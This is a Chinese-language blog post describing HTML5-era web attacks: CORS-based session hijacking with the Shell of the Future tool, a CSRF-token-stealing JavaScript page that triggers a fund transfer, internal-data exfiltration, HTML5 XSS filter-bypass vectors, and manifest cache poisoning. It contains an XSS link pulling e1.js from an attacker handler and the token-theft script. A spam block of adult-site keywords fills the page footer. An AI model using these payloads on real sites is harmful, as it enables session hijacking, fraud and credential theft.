<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    qileilove

    blog已經轉移至github,大家請訪問 http://qaseven.github.io/

    揭密HTML5帶來的攻擊手法

     HTML5 是下一代的 HTML,HTML5賦予網頁更好的意義和結構。更加豐富的標簽將隨著對RDFa的,微數據與微格式等方面的支持,構建對程序、對用戶都更有價值的數據驅動的Web。基于HTML5開發的網頁APP擁有更短的啟動時間,更快的聯網速度。本文詳細介紹了HTML5的普及,帶來的新的安全威脅。
      一:CORS(Cross-Origin Resource Sharing) 跨域資源共享
      為了構建高品質的網站,以及滿足日益增長的用戶需求,HTML5針對SOP(同源策略)放寬了一些限制,簡單的說,同源策略允許來自同一站點的頁面訪問其頁面的方法和屬性等,但限制了跨域調用其他頁面的方法和屬性。現在HTML5放寬了這些限制,XMLHttpRequest Level 2新增了功能CORS協議,允許Ajax發起跨域的請求,瀏覽器是可以發起跨域請求的,比如你可以外鏈一個外域的圖片或者腳本。但是Javascript腳本是不能獲取這些資源的內容的,它只能被瀏覽器執行或渲染。
      COR是頁面層次的控制模式。每一個頁面需要返回一個名為‘Access-Control-Allow-Origin’的HTTP頭來允許外域的站點訪問。你可以僅僅暴露有限的資源和有限的外域站點訪問。在COR模式中,訪問控制的職責可以放到頁面開發者的手中,而不是服務器管理員。當然頁面開發者需要寫專門的處理代碼來允許被外域訪問。
      所以只要b.com允許,a.com可以使用ajax獲取A上任意數據,國外安全研究者Lava Kumar開發了一款工具“Shell of the future”。
      Shell of the Future 是一個反向Web Shell處理工具(Reverse Web Shell handler)。利用跨站腳本攻擊或瀏覽器地址欄注入javascript以后,Shell of the Future可進行劫持會話。 它利用了HTML5支持的Cross Origin Requests,可以繞過一些反會話劫持的方法,如HTTP-Only限制的cookie,幫定IP地址的會話ID。
      如何使用該工具:
      1、下載并解壓該工具,雙擊“Shell of the Future.exe”,會彈出一個窗口。
      2、輸入任意端口,點擊“Start”。

    3、使用瀏覽器訪問http://127.0.0.1:8008/sotf.console (firefox效果最佳)
      4、不出問題,你將看到以下畫面。(Shell of the Future有兩個JavaScript的exp- e1.js和e2.js,我們可以利用XSS漏洞將其嵌入到受害者的瀏覽器)
      5、當一個用戶登錄下面的測試網站:
      http://www.testfire.net/bank/login.aspx (admin/admin)
      該站點的搜索功能粗在一個XSS漏洞,http://www.testfire.net/search.aspx?txtSearch=%3Cscript%3Ealert%2812%29%3C%2Fscript%3E
      6、攻擊者發送一個惡意鏈接給用戶,如下:
      http://www.testfire.net/search.aspx?txtSearch=%3Cscript%20src=%22http://127.0.0.1:8008/e1.js%22%3E%3C/script%3E
      7、當用戶點擊之后,攻擊者的IP地址將會發送給攻擊者,然后點擊“Hijack Session”:
      8、點擊Hijack Session之后,將出現如下畫面:
      二:竊取CSRF令牌(token)
      目前很多互聯網站點都在使用token來防御CSRF攻擊,但是隨著HTML5技術的普及,攻擊者很有可能竊取到CSRF的token,如果CSRF token的請求URL(GET請求),利用前面提到的CORS協議,攻擊者可以注入一個CSRF payload跨域請求到目標站點上。當然,利用的話需要服務端添加一個HTTP 頭字段“origin”,并且需要設置該屬性withCredentials為true,讓我們來看看如何利用:
      1、某用戶登錄www.bank.com。
      2、假設該站點有CSRF保護,即在表單提交的地方添加了隱藏的token,然后發送GET請求到服務端進行驗證,如下:
      <input type=”hidden” id=”test” name=”csrfToken” value=”12345678″ />
      請求如下:
      http://www.bank.com/Confirmation.jsp?value=200&csrfToken=1234234523
      3、攻擊者通過email、IM聊天工具或其他方式發送一個惡意站點ww.attackersite.com
      4、攻擊者可以提交一個Ajax請求到www.bank.com并且執行一些操作,但是需要知道CSRF的token值。
      5、所以攻擊者需要竊取到token令牌,然后進行CSRF攻擊。
      6、攻擊者編寫了下面的一段代碼,發送Ajax請求到ConfirmTransfer.jsp頁面并接受其響應,在返回的數據包中搜索csrfToken,找到后,另外一個Ajax請求被發送,其中包含了CSRF token。
    <!DOCTYPE html> <html> <head> <script> function testing() { var xmlhttp; if (window.XMLHttpRequest) { xmlhttp=new XMLHttpRequest(); } else { xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.open("GET","http://bank/Myapp/ConfirmTransfer.jsp",false); xmlhttp.send(); if(xmlhttp.status==200) { var str=xmlhttp.responseText; var n=str.search("csrfToken"); var final=str.substring(n+18,n+28); var url = "http://bank/Myapp/TransferFund.jsp?datum1%2F=06-06-2013&amp;Account=1234&amp;csrfToken=" + escape(final); xmlhttp.open("GET", url, true); xmlhttp.send(); } } </script> </head> <body onload="testing();"> </body> </html>
      以上的一切操作全在后臺進行,用戶完全不知情,因此,在HTML5中,攻擊者完全可能獲取到CSRF TOKEN和執行一些操作。

      三:訪問內部服務器:
      很多互聯網公司除了有ONLINE對外的業務之外,在內部也用著很多的應用,如財務管理系統、員工管理系統以及其他的一些內部社區等,很多開發者為了各個應用之間調用簡潔方便,在很多應用中都添加了以下頭:
      Control-Allow-Origin: *
      攻擊者可以利用社會工程學,讓內部用戶點擊一個鏈接,然后攻擊者就可以訪問到內部的一些資源,以下為操作步驟:
      1、員工登錄到內部的某應用,如www.internalurl.com
      2、internalurl服務器返回的響應頭設置了Access-Control-Allow-Origin: *(允許任何域發起的請求都可以獲取當前服務器的數據。)
      3、員工受到一封郵件,點擊了鏈接 – www.malicioussite.com
      4、這個站點包含了正常的UI內容,所以員工一般不會察覺,但是,該頁面包含了一段javascript代碼。
      5、該javascript代碼會發送一個XMLHttpRequest請求。
      6、分析返回的數據包,并把它發送到攻擊者的服務器。
      7、攻擊者獲取到公司內部站點的相關信息。
      四:HTML5新的XSS攻擊載體
      直到現在,還有很多開發者總喜歡開發自己定義的XSS黑名單過濾器,以阻止XSS攻擊,包含了大多網絡上常見的XSS利用的代碼,如<img、<script等,HTML5中引入了很多新的標簽屬性,如audio和vedio標簽,新的標簽帶來了新的事件,會繞過現有的過濾器,以下為收集的HTML5存在跨站的標簽:
      <video> <source onerror=”javascript:alert(1)”> <video onerror=”javascript:alert(1)”><source> <audio onerror=”javascript:alert(1)”><source> <input autofocus onfocus=alert(1)> <select autofocus onfocus=alert(1)> <textarea autofocus onfocus=alert(1)> <keygen autofocus onfocus=alert(1)> <button form=test onformchange=alert(2)>X <form><button formaction=”javascript:alert(1)”
      關于XSS的防護可參考freebuf上jiayzhan的XSS解決方案系列文章。
      XSS解決方案系列之一:淘寶、百度、騰訊的解決方案之瑕疵
      XSS解決方案系列之二:知其所以然—瀏覽器是如是解碼的
      XSS解決方案系列之三: 例解過后,再回首您正在維護的產品
      XSS解決方案系列之四:關于編碼
      五:離線Web應用緩存中毒:
      大部分瀏覽器都支持HTML離線緩存技術,如Google Chrome, Mozilla, Opera以及Safari,在給用戶帶來便捷的同時,也引發了一些列的安全威脅,如很有可能遭受“緩存中毒”的攻擊。如果攻擊者在網站上嵌入特定的JS文件,能夠控制用戶的賬戶。HTML5提供了manifest功能,它是html5提供的離線web應用解決方案,它的作用有兩個:
      1. 連網情況下,訪問使用manifest的頁面時(之前曾經訪問過),會先加載一個manifest文件,如果這個manifest文件沒有改變,頁面相關的資源便都來自瀏覽器的離線緩存,不會再有額為的網絡請求,從而大大提高頁面相應時間
      2. 斷網時,在瀏覽器地址欄輸入頁面url,仍然能夠正常顯示頁面,以及正常使用不依賴ajax的功能
      利用這個功能,攻擊者可以竊取用戶的憑據,利用方法如下:
      1、某黑木耳在星巴克鏈接到了一個不安全的WI-FI網絡環境。(攻擊者打造)
      2、該黑木耳登錄新浪微博,攻擊者可劫持。
      3、攻擊者設置該網站返回一個頁面,該頁面包含了一個隱藏的iframe,提示新浪微博登陸。
      4、由于該網絡是由攻擊者控制,所以他提供的新浪微博登陸頁面中包含了manifest屬性,除了可以當場劫持到黑木耳的微博帳號密碼之外,后面還可以長期劫持。
      5、當黑木耳喝完老干媽牌拿鐵之后,拿著心愛的神舟牌筆記本回家之后,想繼續曬自己的照片,繼續登錄微博。
      6、瀏覽器會從緩存中載入偽造的登錄頁面。
      7、帳號密碼隨后會發送到攻擊者。
      因此,通過manifest屬性可以竊取用戶的憑據,以上都是一些已經研究出來的攻擊手法,相信隨著HTML5的高度發展,未來幾年內會出現更多的攻擊手法。

    posted on 2014-04-22 13:59 順其自然EVO 閱讀(279) 評論(0)  編輯  收藏 所屬分類: 測試學習專欄

    <2014年4月>
    303112345
    6789101112
    13141516171819
    20212223242526
    27282930123
    45678910

    導航

    統計

    常用鏈接

    留言簿(55)

    隨筆分類

    隨筆檔案

    文章分類

    文章檔案

    搜索

    最新評論

    閱讀排行榜

    評論排行榜

    主站蜘蛛池模板: 无码国产精品一区二区免费虚拟VR | 亚洲色无码专区在线观看| 国产精品xxxx国产喷水亚洲国产精品无码久久一区 | 精品日韩亚洲AV无码| 亚洲国产成人手机在线观看| yellow免费网站| 免费看黄视频网站| 亚洲最大的视频网站| 国产黄片不卡免费| 免费无码又黄又爽又刺激| 国产aⅴ无码专区亚洲av麻豆| 亚洲av成人一区二区三区| 久久国产美女免费观看精品 | 好爽又高潮了毛片免费下载| 精品国产综合成人亚洲区 | 亚洲日产乱码一二三区别| 性xxxxx大片免费视频| 国产成人亚洲精品影院| jzzjzz免费观看大片免费| 国精无码欧精品亚洲一区 | 亚洲av无码兔费综合| 人与禽交免费网站视频| 亚洲精品国产美女久久久| 黄网站免费在线观看| 久久久久久A亚洲欧洲AV冫| 香港经典a毛片免费观看看| 最近中文字幕mv免费高清电影 | 亚洲国产成人片在线观看无码| 老司机午夜精品视频在线观看免费| 亚洲国产精品日韩专区AV| 在线亚洲午夜片AV大片| 成年免费大片黄在线观看com| 午夜免费福利网站| 亚洲综合精品第一页| 免费一级毛片在级播放| 无码亚洲成a人在线观看| 久久久久亚洲AV无码专区网站| 91福利视频免费观看| 在线观看亚洲人成网站| 欧洲精品99毛片免费高清观看| 亚洲av之男人的天堂网站|